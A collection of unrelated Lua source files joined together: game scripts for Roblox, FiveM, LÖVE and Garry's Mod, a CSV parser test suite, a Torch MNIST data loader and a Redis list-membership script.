local efx= Part(1,1,1,'Black',.5,false,true,mo)
local m= Mesh(efx,'http://www.roblox.com/asset/?id=51177741',1,1,1)
efx.CFrame=hitb.CFrame*ca(0,-pi/2,0)
Spawn(function()
for i=1,7 do wait()
m.Scale=m.Scale+Vector3.new(.1,.1,.1)
end
efx:Destroy()
end)
end
end)
mgblock(hitb,cf(0,0,0),10,'Really black','Royal purple',Vector3.new(1,1,1),0)
so('10209645',pl.Torso,false,.6,1)
so('63719813',pl.Torso,false,.525,1)
trail(hitb,7,'Royal purple')
Tween(rw,cf(1,.5,0)*ca(rad(20),0,-rad(40)),.2)
Tween(lw,cf(-1,.5,0)*ca(rad(20),0,rad(40)),.2)
wait(.25)
hit(false)
Tween(rw,cf(1.5,.5,0)*ca(rad(10),rad(30),0),.1)
Tween(lw,cf(-1.5,.5,0)*ca(0,0,-rad(20)),.1)
Tween(mwl,cf(0,-1,-0.5)*ca(-pi/2,pi/2,0),.1)
wait(.35)
swing=1
deb=false
return
end
end
mouse.Button1Down:connect(function() onClicked(mouse) end)
mouse.KeyDown:connect(onKeyDown)
mouse.KeyUp:connect(onKeyUp)
Spawn(function()
while wait(0) do
checkbind()
if equi==true then
if cleanup > 0 then
cleanup=cleanup-1
if cleanup==0 then
print'clean up'
Key={}
cleanup=sec*10
Spawn(function()
wait()
print'GO'
end)
end
end
end
end
end)
|
---
-- \file test/t_csv_parse.lua
-- \brief Test for the CSV/TSV parser
local Test = require't.Test'
local Csv = require't.Csv'
local verifyCsv = function( csv, source, result )
for row,n in csv:rows( Csv.split( source, "\n" ) ) do
for i,v in pairs( result ) do
assert( result[n][i] == row[i], ("For key <%s> expected <%s> but got <%s>"):format(i, result[n][i], row[i]) )
end
end
end
return {
Basic = function( self )
Test.describe("Basic straight forward CSV parsing")
local csv = Csv({headers=true})
local src = [[
a,b,c
1,2,3]]
local res = {
{ "1","2","3", a="1", b="2", c="3" }
}
verifyCsv( csv, src, res )
end,
BasicCrlf = function( self )
Test.describe("Basic straight forward CSV parsing with CRLF LineBreaks")
local csv = Csv({headers=true})
local src =
"a,b,c\r\n" ..
"1,2,3\r\n"
local res = {
{ "1","2","3", a="1", b="2", c="3" }
}
verifyCsv( csv, src, res )
end,
EmptyStrings = function( self )
Test.describe("Parsing empty strings enclosed in quotes")
local csv = Csv({headers=true})
local src = [[
a,b,c
1,"",""
2,3,4]]
local res = {
{ "1","","", a="1", b="", c="" },
{ "2","3","4", a="2", b="3", c="4" },
}
verifyCsv( csv, src, res )
end,
EmptyStringsCrlf = function( self )
Test.describe("Parsing empty strings enclosed in quotes and CRLF line breaks")
local csv = Csv({headers=true})
local src =
"a,b,c\r\n" ..
'1,"",""\r\n' ..
"2,3,4\r\n"
local res = {
{ "1","","", a="1", b="", c="" },
{ "2","3","4", a="2", b="3", c="4" },
}
verifyCsv( csv, src, res )
end,
CommaInQuotes = function( self )
Test.describe("Parsing for Commas (Separators) within Quotes")
local csv = Csv({headers=true})
local src = [[
first,last,address,city,zip
John,Doe,120 any st.,"Anytown, WW",08123
]]
local res = { {
"John", "Doe","120 any st.","Anytown, WW","08123",
first = "John",
last = "Doe",
address = "120 any st.",
city = "Anytown, WW",
zip = "08123"
} }
verifyCsv( csv, src, res )
end,
EscapedQuotes = function( self )
Test.describe("Parsing for escaped quotes within Quotes")
local csv = Csv({headers=true})
local src = [[
a,b
1,"ha ""ha"" ha"
3,4
]]
local res = {
{"1",'ha "ha" ha', a="1",b='ha "ha" ha'},
{"3", "4", a="3", b="4"}
}
verifyCsv( csv, src, res )
end,
Utf8 = function( self )
Test.describe("Parsing UTF8 encoded content")
local csv = Csv({headers=true})
local src = [[
a,b,c
1,2,3
4,5,ʤ
]]
local res = {
{ "1","2","3", a="1", b="2", c="3" },
{ "4","5","ʤ", a="4", b="5", c="ʤ" }
}
verifyCsv( csv, src, res )
end,
QuotesAndNewlines = function( self )
Test.describe("Parsing escaped quotes and enclosed newlines")
local csv = Csv({headers=true})
local src = [[
a,b
1,"ha
""ha""
ha"
3,4
]]
local res = {
{ "1", 'ha \n"ha" \nha', a="1", b='ha \n"ha" \nha'},
{"3", "4", a="3", b="4"}
}
verifyCsv( csv, src, res )
end,
NewlinesInQuotes = function( self )
Test.describe("Parsing newlines enclosed in quotes")
local csv = Csv({headers=true})
local src = [[
a,b,c
1,2,3
"Once upon
a time",5,6
7,8,9
]]
local res = {
{ "1","2","3", a="1", b="2", c="3" },
{ "Once upon \na time", "5","6", a="Once upon \na time", b="5", c="6" },
{ "7","8","9", a="7", b="8", c="9" }
}
verifyCsv( csv, src, res )
end,
QuotesAndNewlinesCrlf = function( self )
Test.describe("Parsing escaped quotes and enclosed newlines with CRLF linebreaks")
local csv = Csv({headers=true})
local src = 'a,b,c\r\n'..
'1,2,3\r\n' ..
'"Once upon \r\n' ..
'a ""time"" \r\n' ..
'in ""space""?",5,6\r\n' ..
'7,8,9\r\n'
local res = {
{ "1","2","3", a="1", b="2", c="3" },
{ 'Once upon \r\na "time" \r\nin "space"?',"5","6", a='Once upon \r\na "time" \r\nin "space"?', b="5", c="6" },
{ "7","8","9", a="7", b="8", c="9" }
}
verifyCsv( csv, src, res )
end,
DoublequoteInsanity = function( self )
Test.describe("Parsing multiple escaped quotes right close to each other")
local csv = Csv({headers=true})
local src = [[
a,b,c
,"foo", """""x"""
]]
local res = {
{ nil,"foo",'""x"', a=nil, b="foo", c='""x"' },
}
verifyCsv( csv, src, res )
end,
DoublequoteNewlineInsanity = function( self )
Test.describe("Parsing multiple escaped quotes right close to each other with enclosed newlines")
local csv = Csv({headers=true})
local src = [[
a,b,c,d
,"foo", """
""x""""
",bar
]]
local res = {
{ nil,"foo",'""x""\n', "bar", a=nil, b="foo", c='""x""\n', d="bar" },
}
verifyCsv( csv, src, res )
end,
EmptyStringsAndNilValues = function( self )
Test.describe("Parsing distinguishes between empty string and empty fields")
local csv = Csv({headers=true})
local src = [[
a,b,c,d
1,,"",4
]]
local res = {
{ "1", nil, "", "4",a="1", b=nil, c="", d="4"}
}
verifyCsv( csv, src, res )
end,
LeadingSeparatorAsNil = function( self )
Test.describe("Parsing line starting with separator as NULL(nil) field")
local csv = Csv({headers=true})
local src = [[
a,b,c,d
,2,3,4
]]
local res = {
{ nil, "2", "3", "4",a=nil, b="2", c="3", d="4"}
}
verifyCsv( csv, src, res )
end,
EndingSeparatorAsNil = function( self )
Test.describe("Parsing line ending with separator as NULL(nil) field")
local csv = Csv({headers=true})
local src = [[
a,b,c,d
1,2,3,
]]
local res = {
{ "1", "2", "3", nil, a="1", b="2", c="3", d=nil}
}
verifyCsv( csv, src, res )
end,
EndingSeparatorAsNilCrlf = function( self )
Test.describe("Parsing line ending with separator as NULL(nil) field with CRLF linebreaks")
local csv = Csv({headers=true})
local src =
"a,b,c,d\r\n" ..
"1,2,3,\r\n"
local res = {
{ "1", "2", "3", nil, a="1", b="2", c="3", d=nil}
}
verifyCsv( csv, src, res )
end,
EndingEmptyString = function( self )
Test.describe("Parsing line ending with empty string field")
local csv = Csv({headers=true})
local src = [[
a,b,c,d
1,2,3,""
]]
local res = {
{ "1", "2", "3", "", a="1", b="2", c="3", d=""}
}
verifyCsv( csv, src, res )
end,
EndingEmptyStringCrlf = function( self )
Test.describe("Parsing line ending with empty string with CRLF linebreaks")
local csv = Csv({headers=true})
local src =
'a,b,c,d\r\n' ..
'1,2,3,""\r\n'
local res = {
{ "1", "2", "3", "", a="1", b="2", c="3", d=""}
}
verifyCsv( csv, src, res )
end,
Json = function( self )
Test.describe("Parsing doubleQuoted quotes within an JSON value")
local csv = Csv({headers=true})
local src = [==[
id,prop0,prop1,geojson
,value0,,"{""type"": ""Point"", ""coordinates"": [102.0, 0.5]}"
,value0,0.0,"{""type"": ""LineString"", ""coordinates"": [[102.0, 0.0], [103.0, 1.0], [104.0, 0.0], [105.0, 1.0]]}"
,value0,{u'this': u'that'},"{""type"": ""Polygon"", ""coordinates"": [[[100.0, 0.0], [101.0, 0.0], [101.0, 1.0], [100.0, 1.0], [100.0, 0.0]]]}"
]==]
local res = {
{ nil, "value0", nil,'{"type": "Point", "coordinates": [102.0, 0.5]}',
id=nil,prop0="value0",prop1=nil,geojson='{"type": "Point", "coordinates": [102.0, 0.5]}' },
{ nil, "value0", '0.0','{"type": "LineString", "coordinates": [[102.0, 0.0], [103.0, 1.0], [104.0, 0.0], [105.0, 1.0]]}',
id=nil,prop0="value0",prop1='0.0',geojson='{"type": "LineString", "coordinates": [[102.0, 0.0], [103.0, 1.0], [104.0, 0.0], [105.0, 1.0]]}' },
{ nil, "value0", "{u'this': u'that'}",'{"type": "Polygon", "coordinates": [[[100.0, 0.0], [101.0, 0.0], [101.0, 1.0], [100.0, 1.0], [100.0, 0.0]]]}',
id=nil,prop0="value0",prop1="{u'this': u'that'}",geojson='{"type": "Polygon", "coordinates": [[[100.0, 0.0], [101.0, 0.0], [101.0, 1.0], [100.0, 1.0], [100.0, 0.0]]]}' }
}
verifyCsv( csv, src, res )
end,
-- ############################### Trimming Excessive whitespaces
TrailingWhitespace = function( self )
Test.describe("Parsing removes WhiteSPace after value and before delimiter")
local csv = Csv({headers=true})
local src = [[
a,b,c
1 ,2 ,3
]]
local res = {
{ "1","2","3", a="1", b="2", c="3" },
}
verifyCsv( csv, src, res )
end,
TrimPreceedingWhitespace = function( self )
Test.describe("Parsing removes WhiteSpace after delimiter and before value")
local csv = Csv({headers=true})
local src = [[
a,b,c
1 ,2, 3
]]
local res = {
{ "1","2","3", a="1", b="2", c="3" },
}
verifyCsv( csv, src, res )
end,
TrimSurroundingWhitespace = function( self )
Test.describe("Parsing removes WhiteSpace after delimiter and before value")
local csv = Csv({headers=true})
local src = [[
a,b,c
1 , 2, 3
]]
local res = {
{ "1","2","3", a="1", b="2", c="3" },
}
verifyCsv( csv, src, res )
end,
TrimPreceedingWhitespaceQuoted = function( self )
Test.describe("Parsing removes WhiteSPace after quoted value and before delimiter")
local csv = Csv({headers=true})
local src = [[
a,b,c
" 1 "," 2", "3 "
]]
local res = {
{ " 1 "," 2","3 ", a=" 1 ", b=" 2", c="3 " },
}
verifyCsv( csv, src, res )
end,
TrimTrailingWhitespaceQuoted = function( self )
Test.describe("Parsing removes WhiteSpace after delimiter and before quoted value")
local csv = Csv({headers=true})
local src = [[
a,b,c
" 1 " ," 2","3 "
]]
local res = {
{ " 1 "," 2","3 ", a=" 1 ", b=" 2", c="3 " },
}
verifyCsv( csv, src, res )
end,
TrimSurroundingWhitespaceQuoted = function( self )
Test.describe("Parsing removes WhiteSpace after and before quoted values")
local csv = Csv({headers=true})
local src = [[
a,b,c
" 1 ", " 2" ,"3 "
]]
local res = {
{ " 1 "," 2","3 ", a=" 1 ", b=" 2", c="3 " },
}
verifyCsv( csv, src, res )
end,
-- #################################### Parameters to csv constructor
SkipParameterEatsLines = function( self )
Test.describe("Skip Parameter actually skipping lines")
local csv = Csv({headers=false, skip=3})
local src = [[
// these lines
// here should
// be removed
1,foo,bar
2,foo,bar
3,foo,bar
]]
local res = {
{ "1", "foo", "bar" },
{ "2", "foo", "bar" },
{ "3", "foo", "bar" },
}
verifyCsv( csv, src, res )
end,
}
|
local blips = {
-- Example {title="", colour=, id=, x=, y=, z=},
-- Apartments --
{title="Apartment", colour=0, id=40, x=-911.91, y=-451.08, z=39.61},
{title="Apartment", colour=0, id=40, x=-268.911, y=-956.445, z=31.223},
{title="Apartment", colour=0, id=40, x=-47.49, y=-585.85, z=37.95},
{title="Apartment", colour=0, id=40, x=-911.91, y=-451.08, z=39.61},
{title="Apartment", colour=0, id=40, x=-933.50, y=-384.39, z=38.96},
{title="Apartment", colour=0, id=40, x=-1447.31, y=-537.77, z=34.74},
{title="Apartment", colour=0, id=40, x=-617.75, y=44.39, z=43.59},
{title="Apartment", colour=0, id=40, x=-773.88, y=311.73, z=85.70},
{title="Apartment", colour=0, id=40, x=-468.84, y=-678.36, z=32.72},
{title="Apartment", colour=0, id=40, x=-810.06, y=-978.83, z=14.22},
{title="Apartment", colour=0, id=40, x=292.25, y=-162.46, z=64.62},
-- Houses --
{title="House", colour=0, id=40, x=-169.286, y=486.4938, z=137.4436},
{title="House", colour=0, id=40, x=340.9412, y=437.1798, z=149.3925},
{title="House", colour=0, id=40, x=373.023, y=416.105, z=145.7006},
{title="House", colour=0, id=40, x=-676.127, y=588.612, z=145.1698},
{title="House", colour=0, id=40, x=-763.107, y=615.906, z=144.1401},
{title="House", colour=0, id=40, x=-857.798, y=682.563, z=152.6529},
{title="House", colour=0, id=40, x=120.500, y=549.952, z=184.097},
{title="House", colour=0, id=40, x=-1288.000, y=440.748, z=97.69459},
-- Offices --
{title="Office", colour=0, id=475, x=-68.342, y=-799.828, z=44.227},
{title="Office", colour=0, id=475, x=-115.121, y=-605.403, z=36.281},
{title="Office", colour=0, id=475, x=-1371.115, y=-503.707, z=33.157},
{title="Office", colour=0, id=475, x=-1581.242, y=-558.449, z=34.953},
-- Businesses --
{title="Cocaine Lockup", colour=0, id=497, x=51.92, y=6486.31, z=31.43},
{title="Counterfeit Cash Factory", colour=0, id=500, x=-1166.843, y=-1386.159, z=4.971},
{title="Document Forgery Office", colour=0, id=498, x=1644.294, y=4857.999, z=41.011},
{title="Meth Lab", colour=0, id=499, x=1181.816, y=-3113.832, z=6.028},
{title="Weed Farm", colour=0, id=496, x=102.446, y=176.030, z=104.716},
-- Facility --
{title="Facility", colour=0, id=590, x=1.79, y=6832.14, z=15.82},
-- Bunker --
{title="Bunker", colour=0, id=557, x=1571.97, y=2234.43, z=79.06},
-- Garages --
{title="Garage", colour=0, id=357, x=507.87, y=-1496.00, z=29.20},
{title="Garage", colour=0, id=357, x=639.16, y=2774.31, z=41.90},
-- Hangar --
{title="Hangar", colour=0, id=569, x=-1139.08, y=-3387.34, z=13.94},
-- Vehicle Warehouse --
{title="Vehicle Warehouse", colour=0, id=524, x=-668.50, y=-2385.95, z=13.93},
-- Crate Warehouses --
{title="Crate Warehouse", colour=0, id=473, x=926.66, y=-1560.23, z=30.74},
{title="Crate Warehouse", colour=0, id=473, x=-324.90, y=-1356.23, z=31.30},
{title="Crate Warehouse", colour=0, id=473, x=274.54, y=-3015.40, z=5.70},
-- Clubhouses --
{title="Clubhouse", colour=0, id=492, x=973.487, y=-101.972, z=74.850},
{title="Clubhouse", colour=0, id=492, x=-38.47, y=6419.88, z=31.49},
{title="Clubhouse", colour=0, id=492, x=1737.78, y=3709.592, z=34.14},
-- Nightclub --
{title="Nightclub", colour=0, id=614, x=346.02, y=-977.81, z=29.37},
-- Aircraft Carrier --
{title="Aircraft Carrier", colour=0, id=16, x=3082.31, y=-4717.11, z=15.26},
-- Yacht --
{title="Yacht", colour=0, id=455, x=-2043.97, y=-1031.58, z=11.98},
{title="Yacht", colour=0, id=455, x=-1363.72, y=6734.10, z=2.44}
}
Citizen.CreateThread(function()
for _, info in pairs(blips) do
info.blip = AddBlipForCoord(info.x, info.y, info.z)
SetBlipSprite(info.blip, info.id)
SetBlipDisplay(info.blip, 4)
SetBlipScale(info.blip, 0.9)
SetBlipColour(info.blip, info.colour)
SetBlipAsShortRange(info.blip, true)
BeginTextCommandSetBlipName("STRING")
AddTextComponentString(info.title)
EndTextCommandSetBlipName(info.blip)
end
end)
|
function love.load()
--default style for the big button
joystick = uare.new({
x = WWIDTH*.5-25,
y = WHEIGHT*.8-25,
width = 50,
height = 50,
--color
color = {200/COLOR_SCALE, 200/COLOR_SCALE, 200/COLOR_SCALE},
hoverColor = {150/COLOR_SCALE, 150/COLOR_SCALE, 150/COLOR_SCALE},
holdColor = {100/COLOR_SCALE, 100/COLOR_SCALE, 100/COLOR_SCALE},
--border
border = {
color = {255/COLOR_SCALE, 255/COLOR_SCALE, 255/COLOR_SCALE},
hoverColor = {200/COLOR_SCALE, 200/COLOR_SCALE, 200/COLOR_SCALE},
holdColor = {150/COLOR_SCALE, 150/COLOR_SCALE, 150/COLOR_SCALE},
size = 5
},
drag = {
enabled = true,
bounds = {
{
x = WWIDTH*.5-50,
y = WHEIGHT*.8-50
},
{
x = WWIDTH*.5,
y = WHEIGHT*.8
}
}
}
})
sliderBackground = uare.new({
x = WWIDTH*.8,
y = WHEIGHT*.8,
width = 100,
height = 40,
color = {100/COLOR_SCALE, 100/COLOR_SCALE, 100/COLOR_SCALE},
center = true,
text = {
font = love.graphics.newFont(24),
color = {255/COLOR_SCALE, 255/COLOR_SCALE, 255/COLOR_SCALE},
align = "center",
offset = {
x = 0,
y = 32
}
}
})
speedSlider = uare.new({
x = WWIDTH*.8,
y = WHEIGHT*.8,
height = 50,
width = 30,
color = {255/COLOR_SCALE, 255/COLOR_SCALE, 255/COLOR_SCALE},
hoverColor = {200/COLOR_SCALE, 200/COLOR_SCALE, 200/COLOR_SCALE},
center = true, --makes positioning easier!
drag = {
enabled = true,
fixed = {
x = false, --move only on the X axis
y = true
},
bounds = {
{
x = WWIDTH*.8-50
},
{
x = WWIDTH*.8+50
}
}
}
})
player = {x = WWIDTH*.5, y = WHEIGHT*.5}
end
function love.update(dt)
local mx, my = love.mouse.getX(), love.mouse.getY()
uare.update(dt, mx, my)
if not joystick.hold then
joystick.x, joystick.y = WWIDTH*.5-25, WHEIGHT*.8-25 --we released the joystick
end
local velocity = {x = (joystick:getHorizontalRange()-.5)*2, y = (joystick:getVerticalRange()-.5)*2}
velocity.magnitude = math.sqrt(velocity.x^2 + velocity.y^2)
if velocity.magnitude > 1 then --requires a *bit* of tweaking to get a nice joystick feel, else it acts as a normal square
mx, my = mx+joystick.width*.5+uare.holdt.d.x, my+joystick.height*.5+uare.holdt.d.y --take difference between mouse and center of joystick in account
local angle = math.atan2(my-WHEIGHT*.8, mx-WWIDTH*.5) --get the current angle of center<->mouse...
joystick.x = WWIDTH*.5-25+math.cos(angle)*25
joystick.y = WHEIGHT*.8-25+math.sin(angle)*25 --and wrap it in an invisible 25px circle
velocity.x, velocity.y = math.cos(angle), math.sin(angle) --then, recalculate the velocity according to that angle
end
--are you still alive?
player.speed = speedSlider:getHorizontalRange()*1000
sliderBackground.text.display = "speed: "..player.speed
player.x, player.y = player.x+player.speed*velocity.x*dt, player.y+player.speed*velocity.y*dt
if player.x < 20 then player.x = 20 elseif player.x > WWIDTH-20 then player.x = WWIDTH-20 end
if player.y < 20 then player.y = 20 elseif player.y > WHEIGHT*.7-20 then player.y = WHEIGHT*.7-20 end
end
function love.draw()
love.graphics.setColor(100/COLOR_SCALE, 100/COLOR_SCALE, 100/COLOR_SCALE)
love.graphics.circle("fill", WWIDTH*.5, WHEIGHT*.8, 50)
uare.draw()
love.graphics.setColor(255/COLOR_SCALE, 255/COLOR_SCALE, 255/COLOR_SCALE)
love.graphics.circle("fill", player.x, player.y, 20)
end
|
if IsValid(TESTP) then TESTP:Remove() end
local frame = vgui.Create( "DFrame" )
frame:SetSize(400,400)
frame:SetTitle("Test panel")
frame:Center()
frame:MakePopup()
local lbl = vgui.Create( "DLabelURL", frame )
lbl:SetPos(50, 50)
lbl:SetSize(100, 50)
//lbl:SetColor(Color(255,255,255,255))
lbl:SetTextStyleColor(Color(100,255,255,255))
lbl:SetText("I Love Gmod")
lbl:SetURL("http://wiki.garrysmod.com/")
TESTP=frame
TESTL=lbl
|
require 'torch'
require 'image'
local mnist = require('mnist')
local M = {}
local Mnist = torch.class('Mnist', M)
function Mnist:__init(path)
self.train = mnist.traindataset()
-- Convert the data to float and convert it to 0-1 range
self.train.data = self.train.data:float():div(255)
self.test = mnist.testdataset()
-- Convert the data to float and convert it to 0-1 range
self.test.data = self.test.data:float():div(255)
local train_mean = {}
local train_std = {}
train_mean[1] = torch.mean(self.train.data)
train_std[1] = torch.std(self.train.data)
self.train_mean = train_mean
self.train_std = train_std
end
function Mnist:preprocess(split)
local train = self.train
if split == 'train' then
return T.applyTransforms(
{
T.stdNorm(train.mean, train.std),
-- T.hFlip(0.5),
-- T.randomCrop(32, 4),
}
)
elseif split == 'test' then
return T.applyTransforms(
{
T.stdNorm(train.mean, train.std)
}
)
else
error('Unknown split: ' .. split)
end
end
function Mnist:sample(idx)
return {
input = self.train.data:index(1, idx),
target = self.train.labels:index(1, idx)
}
end
return M.Mnist
|
Config = {}
Config.Locale = 'en'
Config.targets = {
{-2131.82,3263.31,32.81,310.0},
{-2136.57,3256.79,32.81,310.0},
{-2139.88,3249.41,32.81,310.0},
{-2136.08,3265.76,32.81,310.0},
{-2140.64,3259.21,32.81,310.0},
{-2143.91,3251.82,32.81,310.0},
{-2139.15,3267.49,32.81,310.0},
{-2143.09,3260.49,32.81,310.0},
{-2148.03,3254.13,32.81,310.0},
}
|
--[[
Checks if job is in a given list.
Input:
KEYS[1]
ARGV[1]
Output:
1 if element found in the list.
]]
local function item_in_list (list, item)
for _, v in pairs(list) do
if v == item then
return 1
end
end
return nil
end
local items = redis.call("LRANGE", KEYS[1] , 0, -1)
return item_in_list(items, ARGV[1])
|
--[[
FiveM Scripts
Copyright C 2018 Sighmir
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
at your option any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
]]
Config = {}
-- 'bone' use bonetag https://pastebin.com/D7JMnX1g
-- x,y,z are offsets
Config.RealWeapons = {
{name = 'WEAPON_KNIFE', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'melee', model = 'prop_w_me_knife_01'},
{name = 'WEAPON_NIGHTSTICK', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'melee', model = 'w_me_nightstick'},
{name = 'WEAPON_HAMMER', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'melee', model = 'prop_tool_hammer'},
{name = 'WEAPON_BAT', bone = 24818, x = 0.0, y = 0.0, z = 0.0, xRot = 320.0, yRot = 320.0, zRot = 320.0, category = 'melee', model = 'w_me_bat'},
{name = 'WEAPON_GOLFCLUB', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'melee', model = 'w_me_gclub'},
{name = 'WEAPON_CROWBAR', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'melee', model = 'w_me_crowbar'},
{name = 'WEAPON_BOTTLE', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'melee', model = 'prop_w_me_bottle'},
{name = 'WEAPON_KNUCKLE', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'melee', model = 'prop_w_me_dagger'},
{name = 'WEAPON_HATCHET', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'melee', model = 'w_me_hatchet'},
{name = 'WEAPON_MACHETE', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'melee', model = 'prop_ld_w_me_machette'},
{name = 'WEAPON_SWITCHBLADE', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'melee', model = 'prop_w_me_dagger'},
{name = 'WEAPON_FLASHLIGHT', bone = 24818, x = 0.0, y = 0.0, z = 0.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'melee', model = 'prop_w_me_dagger'},
{name = 'WEAPON_PISTOL', bone = 51826, x = -0.01, y = 0.10, z = 0.07, xRot = -115.0, yRot = 0.0, zRot = 0.0, category = 'handguns', model = 'w_pi_pistol'},
{name = 'WEAPON_COMBATPISTOL', bone = 51826, x = -0.01, y = 0.10, z = 0.07, xRot = -115.0, yRot = 0.0, zRot = 0.0, category = 'handguns', model = 'w_pi_combatpistol'},
{name = 'WEAPON_APPISTOL', bone = 51826, x = -0.01, y = 0.10, z = 0.07, xRot = -115.0, yRot = 0.0, zRot = 0.0, category = 'handguns', model = 'w_pi_appistol'},
{name = 'WEAPON_PISTOL50', bone = 51826, x = -0.01, y = 0.10, z = 0.07, xRot = -115.0, yRot = 0.0, zRot = 0.0, category = 'handguns', model = 'w_pi_pistol50'},
{name = 'WEAPON_VINTAGEPISTOL', bone = 51826, x = -0.01, y = 0.10, z = 0.07, xRot = -115.0, yRot = 0.0, zRot = 0.0, category = 'handguns', model = 'w_pi_vintage_pistol'},
{name = 'WEAPON_HEAVYPISTOL', bone = 51826, x = -0.01, y = 0.10, z = 0.07, xRot = -115.0, yRot = 0.0, zRot = 0.0, category = 'handguns', model = 'w_pi_heavypistol'},
{name = 'WEAPON_SNSPISTOL', bone = 58271, x = -0.01, y = 0.1, z = -0.07, xRot = -55.0, yRot = 0.10, zRot = 0.0, category = 'handguns', model = 'w_pi_sns_pistol'},
{name = 'WEAPON_FLAREGUN', bone = 58271, x = -0.01, y = 0.1, z = -0.07, xRot = -55.0, yRot = 0.10, zRot = 0.0, category = 'handguns', model = 'w_pi_flaregun'},
{name = 'WEAPON_MARKSMANPISTOL', bone = 58271, x = -0.01, y = 0.1, z = -0.07, xRot = -55.0, yRot = 0.10, zRot = 0.0, category = 'handguns', model = ''},
{name = 'WEAPON_REVOLVER', bone = 58271, x = -0.01, y = 0.1, z = -0.07, xRot = -55.0, yRot = 0.10, zRot = 0.0, category = 'handguns', model = ''},
{name = 'WEAPON_STUNGUN', bone = 58271, x = -0.01, y = 0.1, z = -0.07, xRot = -55.0, yRot = 0.10, zRot = 0.0, category = 'handguns', model = 'w_pi_stungun'},
{name = 'WEAPON_MICROSMG', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'machine', model = 'w_sb_microsmg'},
{name = 'WEAPON_SMG', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'machine', model = 'w_sb_smg'},
{name = 'WEAPON_MG', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'machine', model = 'w_mg_mg'},
{name = 'WEAPON_COMBATMG', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'machine', model = 'w_mg_combatmg'},
{name = 'WEAPON_GUSENBERG', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'machine', model = 'w_sb_gusenberg'},
{name = 'WEAPON_COMBATPDW', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'machine', model = ''},
{name = 'WEAPON_MACHINEPISTOL', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'machine', model = ''},
{name = 'WEAPON_ASSAULTSMG', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'machine', model = 'w_sb_assaultsmg'},
{name = 'WEAPON_MINISMG', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'machine', model = ''},
{name = 'WEAPON_ASSAULTRIFLE', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'assault', model = 'w_ar_assaultrifle'},
{name = 'WEAPON_CARBINERIFLE', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'assault', model = 'w_ar_carbinerifle'},
{name = 'WEAPON_ADVANCEDRIFLE', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'assault', model = 'w_ar_advancedrifle'},
{name = 'WEAPON_SPECIALCARBINE', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'assault', model = 'w_ar_specialcarbine'},
{name = 'WEAPON_BULLPUPRIFLE', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'assault', model = 'w_ar_bullpuprifle'},
{name = 'WEAPON_COMPACTRIFLE', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'assault', model = ''},
{name = 'WEAPON_PUMPSHOTGUN', bone = 24818, x = 0.1, y = -0.15, z = 0.0, xRot = 0.0, yRot = 135.0, zRot = 0.0, category = 'shotgun', model = 'w_sg_pumpshotgun'},
{name = 'WEAPON_SAWNOFFSHOTGUN', bone = 24818, x = 0.1, y = -0.15, z = 0.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'shotgun', model = ''},
{name = 'WEAPON_BULLPUPSHOTGUN', bone = 24818, x = 0.1, y = -0.15, z = 0.0, xRot = 0.0, yRot = 135.0, zRot = 0.0, category = 'shotgun', model = 'w_sg_bullpupshotgun'},
